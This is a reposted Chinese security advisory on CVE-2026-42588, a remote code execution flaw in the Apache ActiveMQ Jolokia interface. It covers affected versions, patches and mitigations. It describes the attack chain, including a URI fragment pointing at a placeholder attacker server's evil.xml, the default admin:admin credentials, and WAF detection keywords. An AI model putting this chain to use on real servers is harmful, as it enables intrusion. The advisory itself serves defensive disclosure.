文章总结: ApacheActiveMQJolokia接口存在CVE-2026-42588高危远程代码执行漏洞,影响5.19.7以下及6.0.0至6.2.5版本。攻击者认证后可通过addNetworkConnector方法加载远程SpringXML配置执行任意命令。建议升级至安全版本或采取禁用Jolokiaexec、限制端口访问等临时措施。 综合评分: 89 文章分类: 漏洞分析,应急响应,安全建设,安全工具,其他
Apache ActiveMQ Jolokia 远程代码执行漏洞(CVE-2026-42588)
原创
CatalyzeSec CatalyzeSec
CatalyzeSec
2026年6月6日 11:11 湖北
在小说阅读器读本章
去阅读
免责申明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号团队不为此承担任何责任。
漏洞描述
Apache ActiveMQ 是 Apache 软件基金会研发的开源消息中间件,完整遵循 JMS 规范,支持 OpenWire、STOMP、AMQP、MQTT 等多种协议,广泛应用于金融、电商、政务等领域的异步通信与消息队列场景。
CVE-2026-42588 是 ActiveMQ Web 控制台中 Jolokia JMX-HTTP 桥接接口的高危远程代码执行漏洞。攻击者通过认证后可构造恶意请求,利用 addNetworkConnector 方法加载远程 Spring XML 配置,最终在目标服务器执行任意系统命令。
漏洞评级
| | | | | — | — | — | | 产品 | 受影响范围 | 安全版本 | | ActiveMQ Broker | < 5.19.7 | ≥ 5.19.7 | | ActiveMQ Broker | 6.0.0 ~ 6.2.5 | ≥ 6.2.6 | | ActiveMQ All | < 5.19.7 | ≥ 5.19.7 | | ActiveMQ All | 6.0.0 ~ 6.2.5 | ≥ 6.2.6 | | ActiveMQ | < 5.19.7 | ≥ 5.19.7 | | ActiveMQ | 6.0.0 ~ 6.2.5 | ≥ 6.2.6 |
漏洞原理
核心问题:Jolokia 接口权限失控 + 配置注入
ActiveMQ 的 Web 控制台(端口 8161)内置了 Jolokia 组件,它能把 Java 内部的 JMX 管理操作变成 HTTP API,方便运维人员远程管理消息队列。
问题出在两处安全疏漏:
- 接口权限过于宽松
- Jolokia 默认策略允许对 org.apache.activemq:* 下所有 MBean 执行操作
- 包括危险的 BrokerService.addNetworkConnector(String) 方法
- 未对该高危接口做单独访问限制与入参过滤
- 参数未做安全校验
- addNetworkConnector 接收一个 URI 参数用于配置网络连接器
- ActiveMQ 支持 masterslave://、vm:// 等特殊协议头
- URI 中可嵌入 brokerConfig=xbean:http://攻击者服务器/evil.xml
漏洞触发链路
1. 认证登录 → 获取 Session↓2. POST /api/jolokia/ → 调用 addNetworkConnector↓3. 传入恶意 URI → masterslave://?brokerConfig=xbean:http://...↓4. ActiveMQ 解析 → 向攻击者服务器发起 HTTP 请求下载 XML↓5. Spring 加载 XML → ResourceXmlApplicationContext 实例化 Bean↓6. ProcessBuilder Bean → init-method="start" → 执行系统命令↓7. RCE 完成 → 以 ActiveMQ 进程权限控制服务器
关键点:
Spring 在 BrokerService 验证配置之前就完成了 Bean 实例化,因此恶意 XML 中的命令会在配置校验前执行。
利用条件
- ActiveMQ 6.0.0 ~ 6.1.1:配合 CVE-2024-32114(未认证 Jolokia)可实现无认证 RCE
- 其他版本:需要默认账号密码 admin:admin 登录后利用
漏洞复现
启动 HTTP 服务
发送恶意请求
验证
修复建议
- 版本升级(首选方案)
- 5.x 升级至 ≥ 5.19.7
- 6.x 升级至 ≥ 6.2.6
- 临时缓解措施
| | | | — | — | | 措施 | 操作 | | 禁用 Jolokia exec | 修改 Jolokia 访问策略,禁止 exec 操作或设为 read-only | | 端口访问管控 | 防火墙限制 8161 仅内网运维 IP 访问 | | 强化认证 | 修改 jetty-realm.properties,替换默认密码 admin:admin | | 出站限制 | 安全组禁止 ActiveMQ 进程对外 HTTP 请求,阻断 XML 拉取 |
- WAF 防护规则
拦截包含以下特征的请求:
addNetworkConnectorxbean:http://masterslave://vm://?brokerConfig
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:CatalyzeSec CatalyzeSec CatalyzeSec《Apache ActiveMQ Jolokia 远程代码执行漏洞(CVE-2026-42588)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论